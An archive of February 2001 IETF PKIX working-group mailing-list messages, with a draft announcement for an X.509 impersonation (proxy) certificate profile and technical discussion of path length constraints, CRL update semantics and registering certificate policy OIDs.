Received: from mail1.digital.com (mail1.digital.com [204.123.2.50]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA26864 for <[e-mail]>; Wed, 28 Feb 2001 13:03:43 -0800 (PST)
Received: from src-news.pa.dec.com (src-news.pa.dec.com [16.4.16.111]) by mail1.digital.com (8.9.2/8.9.3/WV2.0h) with ESMTP id NAA24192 for <[e-mail]>; Wed, 28 Feb 2001 13:03:36 -0800 (PST)
Received: by src-news.pa.dec.com; id NAA01557; Wed, 28 Feb 2001 13:02:19 -0800 (PST)
To: [e-mail]
Path: pa.dec.com!owner-ietf-redist
From: [e-mail]
Newsgroups: dec.mail.lists.ietf
Subject: I-D ACTION:draft-ietf-pkix-impersonation-00.txt
Date: 28 Feb 2001 13:02:19 -0800
Organization: Systems Research Center, Compaq Computer Corporation
Lines: 85
Sender: [e-mail]
Distribution: dec
Message-ID: <[e-mail]>
To: IETF-Announce:;;;;@pa.dec.com;;;;;;@pa.dec.com;;;;;;;;;;;;;;;;;;;;;;;;@pa.dec.com;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Cc: [e-mail]
In-Reply-To: [e-mail]
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
X-Received: (from adm@localhost) by loki.ietf.org (8.9.1b+Sun/8.9.1) id PAA04032 for [e-mail]; Wed, 28 Feb 2001 15:35:00 -0500 (EST)
X-Received: from ietf.org (odin.ietf.org [10.27.2.28]) by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id GAA00022 for <[e-mail]>; Wed, 28 Feb 2001 06:59:09 -0500 (EST)
X-Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA03085; Wed, 28 Feb 2001 06:59:10 -0500 (EST)
X-Received: by src-news.pa.dec.com; id NAA03638; Wed, 28 Feb 2001 13:02:17 -0800 (PST)
X-Received: by pobox1.pa.dec.com (5.65v3.2/1.1.10.5/07Nov97-1157AM) id AA23635; Wed, 28 Feb 2001 13:02:17 -0800
X-Received: from nsl-too.pa.dec.com by pobox1.pa.dec.com (5.65v3.2/1.1.10.5/07Nov97-1157AM) id AA02024; Wed, 28 Feb 2001 13:02:16 -0800
X-Received: by nsl-too.pa.dec.com; (5.65v4.0/1.1.8.2/06Jun96-0357PM) id AA19626; Wed, 28 Feb 2001 13:02:16 -0800
X-Received: from pobox1.pa.dec.com by nsl-too.pa.dec.com; (5.65v4.0/1.1.8.2/06Jun96-0357PM) id AA01612; Wed, 28 Feb 2001 13:02:16 -0800
X-Received: by pobox1.pa.dec.com (5.65v3.2/1.1.10.5/07Nov97-1157AM) id AA01894; Wed, 28 Feb 2001 13:02:15 -0800
X-Received: from zmamail01.nz-tay.cpqcorp.net by pobox1.pa.dec.com (5.65v3.2/1.1.10.5/07Nov97-1157AM) id AA01794; Wed, 28 Feb 2001 13:02:15 -0800
X-Received: by zmamail01.zma.compaq.com (Postfix, from userid 12345) id 55553C11F; Wed, 28 Feb 2001 16:02:13 -0500 (EST)
X-Received: from loki.ietf.org (loki.ietf.org [132.151.1.177]) by zmamail01.zma.compaq.com (Postfix) with ESMTP id BBF60BFF7 for <[e-mail]>; Wed, 28 Feb 2001 16:02:12 -0500 (EST)

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure Impersonation
                          Certificate Profile
	Author(s)	: S. Tuecke, D. Engert, M. Thompson
	Filename	: draft-ietf-pkix-impersonation-00.txt
	Pages		: 26
	Date		: 27-Feb-01
	
This document forms a certificate profile for Impersonation 
Certificates, based on X.509 PKI certificates as defined in draft-
ietf-pkix-new-part1-04.txt (the draft update to RFC 2459), for use 
in the Internet.  The term Impersonation Certificate is used to 
describe a certificate that is derived from, and signed by, a normal 
X.509 Public Key End Entity Certificate or by another Impersonation 
Certificate for the purpose of providing impersonation within a PKI 
based authentication system.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-impersonation-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-impersonation-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-impersonation-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-impersonation-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-impersonation-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA21993 for <[e-mail]>; Wed, 28 Feb 2001 11:33:09 -0800 (PST)
Received: from krdp2 (krdp2.ncsl.nist.gov [129.6.54.107]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id OAA07067 for <[e-mail]>; Wed, 28 Feb 2001 14:33:10 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Wed, 28 Feb 2001 14:32:49 -0500
To: [e-mail]
From: "David A. Cooper" <[e-mail]>
Subject: Re: Open Issue in Part1: path length constraints
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

Steve,

Last week Hoyt Kesterson sent a message to the PKIX list pointing out some defect reports against X.509. One of these, DR 272, deals with path length constraints:

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectReports/X.509andRelated/DR_272Rev1.pdf

DR 272 proposes adding some new text to X.509 to help clarify the meaning of path length constraints in public key and attribute certificates. From my reading of the text, there seems to be an assumption that every certification path will end with an end-entity certificate as in the following sentence:

                 The constraint controls the number of non self-issued CA certificates between
                 the CA certificate containing the constraint and the end-entity certificate.

Hoyt's message states that DR 272 has not yet been submitted for formal voting, but that it will be soon. We should keep this in mind when deciding on the text to use in new-part1 so we can ensure that X.509 and new-part1 are both clear and consistent in this area.

Dave

At 01:28 PM 2/28/01 -0500, Steve Hanna wrote:
>I have not seen anything approaching rough consensus on the basic
>question of which of these semantics we should use. John Linn and I have
>sent email favoring the RFC 2459 semantics (pathLenConstraint being the
>maximum number of subsequent CA certificates allowed). You and David
>Cross have sent email favoring the new-part1 semantics
>(pathLenConstraint being the maximum number of intermediate certificates
>allowed). If there is no further discussion on the list, we may need to
>check consensus in Minneapolis.




Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA17798 for <[e-mail]>; Wed, 28 Feb 2001 10:37:18 -0800 (PST)
Received: from sunlabs.East.Sun.COM ([129.148.75.250]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA24334; Wed, 28 Feb 2001 10:37:19 -0800 (PST)
Received: from sun.com (dhcp75-155 [129.148.75.155]) by sunlabs.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA00252; Wed, 28 Feb 2001 13:37:17 -0500 (EST)
Message-ID: <[e-mail]>
Date: Wed, 28 Feb 2001 13:33:56 -0500
From: Steve Hanna <[e-mail]>
Organization: Sun Microsystems, Inc.
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "David P. Kemp" <[e-mail]>, [e-mail]
Subject: Re: Open Issue in Part1: path length constraints
References: <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Steve Hanna wrote:
> P.S. I have not seen anything approaching rough consensus on the basic
> question of which of these semantics we should use. John Linn and I
> have sent email favoring the RFC 2459 semantics (pathLenConstraint
> being the maximum number of subsequent CA certificates allowed). You
> and David Cross have sent email favoring the new-part1 semantics
> (pathLenConstraint being the maximum number of intermediate
> certificates allowed). If there is no further discussion on the list,
> we may need to check consensus in Minneapolis.

I forgot that David Cooper also sent email favoring the new-part1
semantics. Sorry! That makes three Davids in favor of the new-part1
semantics and Steve and John in favor of the RFC 2459 semantics. Still
closely divided.

-Steve


Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA17596 for <[e-mail]>; Wed, 28 Feb 2001 10:32:08 -0800 (PST)
Received: from sunlabs.East.Sun.COM ([129.148.75.250]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA13526; Wed, 28 Feb 2001 10:32:10 -0800 (PST)
Received: from sun.com (dhcp75-155 [129.148.75.155]) by sunlabs.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA29340; Wed, 28 Feb 2001 13:32:07 -0500 (EST)
Message-ID: <[e-mail]>
Date: Wed, 28 Feb 2001 13:28:46 -0500
From: Steve Hanna <[e-mail]>
Organization: Sun Microsystems, Inc.
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "David P. Kemp" <[e-mail]>
CC: [e-mail]
Subject: Re: Open Issue in Part1: path length constraints
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"David P. Kemp" wrote:
> > From: Steve Hanna <[e-mail]>
> > I find it odd to say that a certificate with cA=TRUE is a CA certificate
> > *unless* it is the last certificate in a path. I suppose this is only a
> > wording problem, but I find this wording *less* clear than the old
> > wording.
> 
> The oddness arises because you are applying the label "CA certificate"
> to the certificate based on its contents instead of its usage.
> 
> If a certificate contains cA=TRUE and
> keyCertSign=cRLSign=digitalSignature=1, then it can be used for more
> than one purpose.  It is a CA certificate when validating the signature
> of a certificate, and it is an EE certificate when validating the
> signature of a CRL or a message.  (A CA should not use a cert-signing
> private key to sign correspondence, but X.509 doesn't prohibit unhygenic
> practices.)

So you're saying that a certificate with cA=TRUE is an end-entity
certificate when it appears at the end of a certificate chain and a CA
certificate otherwise? The same certificate is both a CA certificate and
an end-entity certificate? This seems to be contrary to the way these
terms have been used in the past and the way they are used in X.509, RFC
2459, new-part1, and throughout the industry.

X.509 defines a CA-certificate as a "certificate for one CA issued by
another CA" and an end-entity certificate as a "certificate issued by a
CA to a subject that is not an issuer of other public-key certificates".
RFC 2459 does not have a glossary, but it does say that CA certificates
are "all certificates including the basic constraints extension ...
where the value of cA is TRUE." new-part1 contains similar language.

Attempting to redefine CA certificate and end-entity certificate in this
way will be immensely confusing. If the working group wishes to change
the semantics of the pathLenConstraint field so that a CA certificate at
the end of the path is not counted for the purposes of this constraint,
so be it. But don't try to change the meaning of CA certificate to be "A
certificate whose subject is a CA (except when such a certificate
appears at the end of a path, in which case the certificate is an
end-entity certificate)." Just change the description of the
pathLenConstraint field so that it limits the number of intermediate CA
certificates, not the total number of CA certificates. Instead of the
current text:

   In this case, it gives the maximum number of CA certificates that may
   follow this certificate in a certification path. (Note: One end-
   entity certificate will follow the final CA certificate in the path.
   The last certificate in a path is considered an end-entity
   certificate, whether the subject of the certificate is a CA or not.)
   A pathLenConstrinat of zero indicates that only an end-entity
   certificate may follow in the path. Where it appears, the
   pathLenConstraint field MUST be greater than or equal to zero. Where
   pathLenConstraint does not appear, there is no limit to the allowed
   length of the certification path.

I suggest the following:

   In this case, it gives the maximum number of intermediate CA
   certificates that may follow this certificate in a certification
   path. (Note: One final certificate will follow the final intermediate
   CA certificate in the path. This certificate may be either a CA
   certificate or an end-entity certificate.) A pathLenConstraint of
   zero indicates that no intermediate CA certificates may follow in the
   path. Where it appears, the pathLenConstraint field MUST be greater
   than or equal to zero. Where pathLenConstraint does not appear, there
   is no limit to the allowed length of the certification path.

-Steve

P.S. I have not seen anything approaching rough consensus on the basic
question of which of these semantics we should use. John Linn and I have
sent email favoring the RFC 2459 semantics (pathLenConstraint being the
maximum number of subsequent CA certificates allowed). You and David
Cross have sent email favoring the new-part1 semantics
(pathLenConstraint being the maximum number of intermediate certificates
allowed). If there is no further discussion on the list, we may need to
check consensus in Minneapolis.


Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA19855 for <[e-mail]>; Wed, 28 Feb 2001 03:59:09 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA03085; Wed, 28 Feb 2001 06:59:10 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-impersonation-00.txt
Date: Wed, 28 Feb 2001 06:59:10 -0500
Sender: [e-mail]

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure Impersonation
                          Certificate Profile
	Author(s)	: S. Tuecke, D. Engert, M. Thompson
	Filename	: draft-ietf-pkix-impersonation-00.txt
	Pages		: 26
	Date		: 27-Feb-01
	
This document forms a certificate profile for Impersonation 
Certificates, based on X.509 PKI certificates as defined in draft-
ietf-pkix-new-part1-04.txt (the draft update to RFC 2459), for use 
in the Internet.  The term Impersonation Certificate is used to 
describe a certificate that is derived from, and signed by, a normal 
X.509 Public Key End Entity Certificate or by another Impersonation 
Certificate for the purpose of providing impersonation within a PKI 
based authentication system.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-impersonation-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-impersonation-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-impersonation-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-impersonation-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-impersonation-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from femail4.sdc1.sfba.home.com (femail4.sdc1.sfba.home.com [24.0.95.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id UAA05521 for <[e-mail]>; Tue, 27 Feb 2001 20:30:04 -0800 (PST)
Received: from revelation ([65.4.166.11]) by femail4.sdc1.sfba.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20010228042739.LQSD27553.femail4.sdc1.sfba.home.com@revelation>; Tue, 27 Feb 2001 20:27:39 -0800
Reply-To: <[e-mail]>
From: "Jim Schaad" <[e-mail]>
To: "'David Kemp'" <[e-mail]>, <[e-mail]>
Subject: RE: Part1 last call comments
Date: Tue, 27 Feb 2001 20:31:56 -0800
Message-ID: <000601c0a13f$62acfe90$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <[e-mail]>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

> -----Original Message-----
> From: David Kemp [mailto:[e-mail]]
> Sent: Monday, February 26, 2001 1:46 PM
> To: [e-mail]
> Subject: Re: Part1 last call comments
>
>
>
> > From: "Jim Schaad" <[e-mail]>
> >
> > 4. Section 3.3 - Minor point,  in paragraph 4 - This should
> be "until all
> > existing CRLs expires" rather than "until the next periodic
> CRL update".  A
> > CRL may be valid for more than one issue period (i.e. issue
> every 12 hours,
> > expire after 24 hours).
>
>
> Jim,
>
> I disagree with this proposed change.  CRLs do not expire, they only
> have a next scheduled update date.  As section 3.3 paragraph 3 says,
> "the meaning of 'suitably-recent' may vary with local policy", and
> if one local policy says that CRLs which are issued every 12 hours
> don't expire until 24 hours after issue, fine.  A different local
> policy, however, might say that the identical CRL expires 13 hours
> after issue.
>

Dave,

Would the text "until all currently issued CRLs pass their nextUpdate." be
acceptable to you?  I merely want to reflect that there may be multiple
valid CRLs in existence, and until all of them have passed their nextUpdate
time a cached CRL can validly be expected to be used.

jim



Received: from smtp.netreach.net (fatuka.netreach.net [207.29.195.121]) by above.proper.com (8.9.3/8.9.3) with SMTP id KAA06174 for <[e-mail]>; Tue, 27 Feb 2001 10:07:27 -0800 (PST)
Received: (qmail 27026 invoked by uid 102); 27 Feb 2001 18:08:10 -0000
Received: from static-cc.netreach.net (HELO delbert) (207.29.201.235) by smtp.netreach.net with SMTP; 27 Feb 2001 18:08:10 -0000
Message-Id: <[e-mail]>
X-Sender: [e-mail]@mail2.netreach.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Tue, 27 Feb 2001 13:06:52 -0500
To: [e-mail]
From: TISC Programs <[e-mail]>
Subject: The Internet Security Conference 2001
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

The Fifth Internet Security Conference will be held June 4-8, 2001
at the Century Plaza Hotel and Tower, 2025 Avenue of the Stars,
Century City Los Angeles, CA 90067-4696. TISC is an educational
forum for security professionals and practitioners.

TISC Workshops on network security principles, Windows 2000 security,
firewall practices, incident response, security systems for the
Internet, attack trends and countermeasures, VPNs, and hacking are
presented by leading experts in the security community. For example,
Jody Patilla will teach a half-day intro-level "PKI - Nuts and Bolts"
seminar on Friday 6/8 (see http://www.tisc2001.com/seminars.html#G3)

In addition, over 50 security experts will offer technical advice
and present invited papers during the TISC Security Symposium.
Topics include Anti-Hacking, IDS, VPNs, Authentication and PKI,
web security and privacy, network forensics, LINUX security,
wireless security, malware, web threats, and more. A morning of
sessions focusing on PKI Interoperability and PKI in Global B2B
will be presented on Wednesday 6/6.

View the complete agenda at http://www.tisc2001.com/agenda.html

We hope to see you in Los Angeles!
The TISC 2001 Program Committee
www.tisc2001.com



Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA04361 for <[e-mail]>; Tue, 27 Feb 2001 09:50:54 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id GAA08717; Wed, 28 Feb 2001 06:50:02 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98329620205855>; Wed, 28 Feb 2001 06:50:02 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail]
Subject: Re: Registering a Certificate Policy OID
Cc: [e-mail]
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Wed, 28 Feb 2001 06:50:02 (NZDT)
Message-ID: <[e-mail]>

Russ Housley <[e-mail]> writes:

>In most countries, the national standards association maintains an OID
>registry.  As with the ANSI arc, these are generally arcs assigned under the
>OID 2.16.  It may take some investigation to find the OID authority for a
>particular country.

I think you need to put that "some" into perspective, it's like saying "We can
cure world hunger, but it'll take some work" :-).  In some cases you can
eventually find someone responsible and they may or may not deign to allocate
you an OID, in many you'll end up on a long wild goose chase without getting
anywhere ("The last person who knew how this worked retired 10 years ago"), and
in at least one case you'll end up as the new registration authority ("We have
no idea who's supposed to do this, would you like the job?").

>The Internet Assigned Numbers Authority (IANA) assigns private enterprise
>numbers, which are OIDs, in the arc 1.3.6.1.4.1.  IANA has assigned arcs to
>over 7,500 companies to date.

This is really the only practical way for the average person/organisation to
get an OID.  It's quick and easy to do.

Peter.



Received: from mail.spyrus.com (mail.spyrus.com [207.212.34.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA03003 for <[e-mail]>; Tue, 27 Feb 2001 09:31:39 -0800 (PST)
Received: from RHOUSLEY-PC.spyrus.com ([209.172.119.211]) by mail.spyrus.com (8.9.3/8.9.3) with ESMTP id JAA04243; Tue, 27 Feb 2001 09:31:05 -0800 (PST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Tue, 27 Feb 2001 12:32:25 -0500
To: "Cameron Smith" <[e-mail]>
From: Russ Housley <[e-mail]>
Subject: Re: Registering a Certificate Policy OID
Cc: [e-mail]
In-Reply-To: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Cameron:

It is absolutely critical that private OIDs are obtained from legitimate 
authorities!  There are two basic strategies for obtaining legitimate 
OIDs.  The first strategy is to register the objects with an 
authority.  This strategy is very convenient if the PKI uses a small number 
of relatively stable OIDs to represent certificate policies.  The second 
strategy is to obtain an arc from an authority and assign OIDs as 
needed.  This strategy may be preferred if policies are less stable or many 
OIDs are needed.

ANSI is the registration authority for the US for organization names under 
the global registration process established by ISO and ITU.  A fact sheet 
with links to an application form is located at the ANSI web site 
(http://web.ansi.org/public/services/reg_org.html).  The ANSI OID arc for 
organizations is 2.16.840.1.  ANSI charges a fee for OID arc 
assignments.  It takes approximately two weeks to receive the assigned OID 
arc from ANSI.  ANSI will assign a number (NEWNUM), creating a new OID arc: 
2.16.840.1.NEWNUM.

In most countries, the national standards association maintains an OID 
registry.  As with the ANSI arc, these are generally arcs assigned under 
the OID 2.16.  It may take some investigation to find the OID authority for 
a particular country.  The addresses for ISO national member bodies may be 
found at http://www.iso.ch/addresse/membodies.html.  The information 
includes postal address and electronic mail.  In many cases, a web site is 
specified as well.

Another possible starting point is the International Register of ISO DCC 
NSAP schemes.  NSAP stands for Network Service Access Point, and is used in 
various international standards.  The registry for schemes may be obtained 
at http://www.fei.org.uk/fei/dcc-nsap.htm.  The web site currently lists 
contact information for thirteen naming authorities, some of which will 
also assign OIDs.

The Internet Assigned Numbers Authority (IANA) assigns private enterprise 
numbers, which are OIDs, in the arc 1.3.6.1.4.1.  IANA has assigned arcs to 
over 7,500 companies to date.  The application page is located at 
http://www.iana.org/forms.html, under Private Enterprise Numbers.  The IANA 
usually takes about one week.  An OID from IANA is free.  IANA will assign 
a number (NEWNUM) so that the new OID arc will be 1.3.6.1.4.1.NEWNUM.

The U.S. Federal Government maintains the Computer Security Objects 
Registry (CSOR).  The CSOR is the naming authority for the arc 
2.16.840.1.101.3, and is currently registering objects for security labels, 
cryptographic algorithms, and certificate policies.  The certificate policy 
OIDs are defined in the arc 2.16.840.1.101.3.2.1.  The CSOR provides policy 
OIDs to agencies of the U.S. Federal Government.  For more information 
about the CSOR, see http://csrc.nist.gov/csor/.  For more information on 
OIDs for certificate policies, see http://csrc.nist.gov/csor/pkireg.htm.

Good luck,
    Russ

At 04:20 PM 2/26/2001 -0800, Cameron Smith wrote:
>(Pardon my ignorant question and wide distribution, but I don't know where
>else to turn.)
>
>How does one obtain/register a Certificate Policy OID for an organization?
>
>Regards,
>
>Cameron
>
>--
>Cameron Smith
>PKI Security Analyst
>Symantec Corporation



Received: from stingray.missi.ncsc.mil (stingray.missi.ncsc.mil [144.51.50.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA27624 for <[e-mail]>; Tue, 27 Feb 2001 08:10:12 -0800 (PST)
Received: from stingray.missi.ncsc.mil (root@localhost) by stingray.missi.ncsc.mil with ESMTP id LAA05211 for <[e-mail]>; Tue, 27 Feb 2001 11:09:42 -0500 (EST)
Message-Id: <[e-mail]>
Date: Tue, 27 Feb 2001 11:09:38 -0500 (EST)
From: David Kemp <[e-mail]>
Reply-To: David Kemp <[e-mail]>
Subject: Re: Part1 last call comments
To: [e-mail]
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: SLcaipdLfLvmjZY7S2IOiw==

> From: Jean-Marc Desperrier <[e-mail]>
> 
> This is not the date _at_ which the next revocation list will be issued, but
> _by_which the CRL is garanteed to have been issued.
> 
> This garantee covers the case where there's a problem and the
> issuance/propagation of the CRL is slightly delayed.


nextUpdate is the date _at_ which the next _scheduled_ CRL will be issued,
as opposed to unscheduled CRLs issued in response to, e.g., reported
key compromises.

X.509 says _by_ which in order not to preclude the issuance of
unscheduled CRLs.

I'm not going to quibble about whether a few wallclock minutes +/-
disqualifies a CRL from being issued "_at_" a specific time;  the
property of interest is that for a scheduled CRL, the "thisUpdate"
field exactly equals the "nextUpdate" field of the previous CRL in
the series.



Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com [194.25.134.18]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA20384 for <[e-mail]>; Tue, 27 Feb 2001 07:27:27 -0800 (PST)
Received: from fwd04.sul.t-online.com  by mailout04.sul.t-online.com with smtp  id 14Xm2B-0004lU-04; Tue, 27 Feb 2001 16:27:27 +0100
Received: from junker.ms.inka.de (520010731148-0001@[62.224.84.231]) by fmrl04.sul.t-online.com with esmtp id 14Xm1c-29SUfgC; Tue, 27 Feb 2001 16:26:52 +0100
Received: from stroeder.com (localhost [127.0.0.1]) by junker.ms.inka.de (Postfix) with ESMTP id B630468087 for <[e-mail]>; Tue, 27 Feb 2001 15:30:07 +0100 (CET)
Sender: [e-mail]
Message-ID: <[e-mail]>
Date: Tue, 27 Feb 2001 15:30:07 +0100
From: Michael =?iso-8859-1?Q?Str=F6der?= <[e-mail]>
Organization: stroeder.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: de-DE, de, en
MIME-Version: 1.0
To: ietf-pkix <[e-mail]>
Subject: Re: Compile ASN.1 modules for CMP/CRMF
References: <[e-mail]>
Content-Type: text/plain; charset=iso-8859-1
X-Sender: [e-mail]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id HAA20390

Michael Ströder wrote:
> 

> Is it possible to find compilable ASN.1 modules for
> CMP/CRMF (RFC2510/RFC2511) somewhere?

Uhm. Yes, appendix F. Sorry.

Ciao, Michael.


Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19]) by above.proper.com (8.9.3/8.9.3) with ESMTP id FAA11584 for <[e-mail]>; Tue, 27 Feb 2001 05:54:22 -0800 (PST)
Received: from fwd07.sul.t-online.com  by mailout06.sul.t-online.com with smtp  id 14Xka6-0005u7-04; Tue, 27 Feb 2001 14:54:22 +0100
Received: from junker.ms.inka.de (520010731148-0001@[62.157.25.230]) by fmrl07.sul.t-online.com with esmtp id 14XkZp-0pb8zIC; Tue, 27 Feb 2001 14:54:05 +0100
Received: from stroeder.com (localhost [127.0.0.1]) by junker.ms.inka.de (Postfix) with ESMTP id 887F368086 for <[e-mail]>; Tue, 27 Feb 2001 14:53:17 +0100 (CET)
Sender: [e-mail]
Message-ID: <[e-mail]>
Date: Tue, 27 Feb 2001 14:53:17 +0100
From: Michael =?iso-8859-1?Q?Str=F6der?= <[e-mail]>
Reply-To: [e-mail]
Organization: stroeder.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: de-DE, de, en
MIME-Version: 1.0
To: ietf-pkix <[e-mail]>
Subject: Compile ASN.1 modules for CMP/CRMF
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [e-mail]

HI!

Is it possible to find compilable ASN.1 modules for
CMP/CRMF (RFC2510/RFC2511) somewhere?

Ciao, Michael.


Received: from sonne.darmstadt.gmd.de (sonne.darmstadt.gmd.de [141.12.62.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id EAA29225 for <[e-mail]>; Tue, 27 Feb 2001 04:41:05 -0800 (PST)
